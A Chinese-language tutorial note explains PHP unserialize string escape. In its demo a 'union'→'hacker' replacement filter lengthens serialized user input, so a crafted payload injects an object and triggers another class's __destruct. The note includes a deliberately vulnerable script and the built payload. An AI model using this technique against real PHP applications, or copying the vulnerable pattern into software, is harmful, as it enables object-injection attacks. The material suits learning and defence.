前提知识
PHP 在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾(数组、对象等类型);反序列化时,结尾后的字符串会被忽略掉,例如:
php > print_r(serialize([1]));
a:1:{i:0;i:1;}
php > print_r(unserialize('a:1:{i:0;i:1;}sdasda'));
Array
(
[0] => 1
)
而且php反序列化的字符串只要符合规则,就能被反序列化回去,所以,我们思考,能否操作反序列化的字符串来给原来的对象增加属性,答案是可以的
class a{}
php > print_r(unserialize('O:1:"a":1:{s:1:"a";s:1:"a";}'));
a Object
(
[a] => a
)
php > print_r(unserialize('O:1:"a":1:{s:1:"a";O:1:"b":0:{}}'));
a Object
(
[a] => __PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => b
)
)
php > class b{}
php > print_r(unserialize('O:1:"a":1:{s:1:"a";O:1:"b":0:{}}'));
a Object
(
[a] => b Object
(
)
)
在php中,如下字符串,s:48内容为 unionunionunionunionunionunionunionunion";s:1:"1(7个union)
s:48:"unionunionunionunionunionunionunionunion";s:1:"1"
而下面字符串,s:48内容为 hackerhackerhackerhackerhackerhackerhackerhacker(7个hacker)
而剩下的 “1”成为了一个新的元素
s:48:"hackerhackerhackerhackerhackerhackerhackerhacker";s:1:"1"
假如我们上传的字符串先被serialize函数作用了一次,然后被一个函数作用,长度变长,又被unserizlize作用,这时候就会多出一部分,是不是可以通过多余的那部分给原来类中的属性赋值,可以赋值成另外的类的对象,通过原来程序代码执行来间接调用别的类的魔术方法
error_reporting(0);
class a{
public $element;
public $element2;
//public $element3;
public function __construct($w){
$this->element=$w;
echo 'this is a\'s construct'."
";
}
public function __destruct(){
echo 'this is a\' destruct'."
";
}
}
class b{
public function __construct(){
echo 'this is b\'s construct'."
";
}
public function __destruct(){
echo 'this is b\' destruct'."
";
}
}
function waf($str){
return str_replace("union","hacker",$str);
}
$get=new a($_GET['a']);
echo "
";
print_r(unserialize(waf(serialize($get))));
很简单的代码,我们要做的是想办法调用类b的__destruct方法,那么利用上面讲的方法,首先我们要明确我们想要程序unserialize的字符串:
s:0:"";O:1:"b":0:{}
然后,我们知道unserialize的字符串大概如下
O:1:"a":2:{s:7:"element";s:?:"($_['a'])";s:8:"element2";N;}
我们要对前面的 " 进行闭合,后面的也需要增加一个 “}”让字符串的反序列化在这里停止。 “;s:0:”";O:1:“b”:0:{}}
然后利用union变成hacker增加字符长度完成逃逸。
php > $a='";s:0:"";O:1:"b":0:{}}';
php > $a=str_repeat('union',strlen($a)).$a;
php > echo $a;
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:0:"";O:1:"b":0:{}}
遇到的困难:
在一开始的时候,class a里面只写了一个属性,导致每次unserialize的字符串开头是O:1:“a”:1:,无法完成逃逸,所以完成逃逸最少需要类里面有两个属性
PS:
在实验的过程中发现了一个小现象
$w=new a;
$w->element=new b;
这样程序的结果为
this is a's construct
this is b's construct
this is a' destruct
this is b' destruct
发现php __destruct和c里面析构函数的调用顺序不太一样,经过查资料发现,php中__destruct的调用是在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,也就是说发生在程序结束,或者对象没有指向时:
class a{
public $element;
public $element2;
public function __construct(){
echo 'this is a\'s construct'."
";
}
public function __destruct(){
echo 'this is a\' destruct'."
";
}
}
$w=new a;
$w=123;
echo 1;
#this is a's construct
#this is a' destruct
#1
猜测是程序结束前,class a的__destruct被调用,然后$element的内存被回收,$element之前指向对象,成为了垃圾对象,然后被销毁,调用了class b的__destruct函数